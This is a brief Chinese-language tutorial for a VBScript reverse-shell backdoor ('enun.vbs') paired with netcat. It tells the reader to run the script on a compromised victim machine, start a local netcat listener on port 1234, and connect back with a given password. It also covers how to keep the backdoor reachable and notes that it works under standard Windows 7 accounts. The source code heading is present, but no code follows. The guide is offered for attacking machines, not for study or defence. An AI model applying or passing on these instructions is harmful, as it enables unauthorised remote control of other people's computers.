这个cmdshell需要结合nc进行配合使用，现在肉鸡上执行cmdshell然后在本地上面运行nc，注意看下面的参数

请先下载 mswinsck.ocx 与 VB6Controls.reg！

使用方法：

1，控制：nc.exe，执行：nc -l -v -p 1234；

2，目标：cscript.exe enun.vbs IP Port；

3，密码：enun。

几点说明：
1，退出 SHELL，请输入 “exit”，不要用 “Ctrl + C”，这样的话只能等目标重启或手动运行后门才能连接；
2，Windows 7 等环境下普通标准用户也能使用，但是获取的权限相对有限。
3，内部命令及管道使用如下图：

enun.vbs 源码：
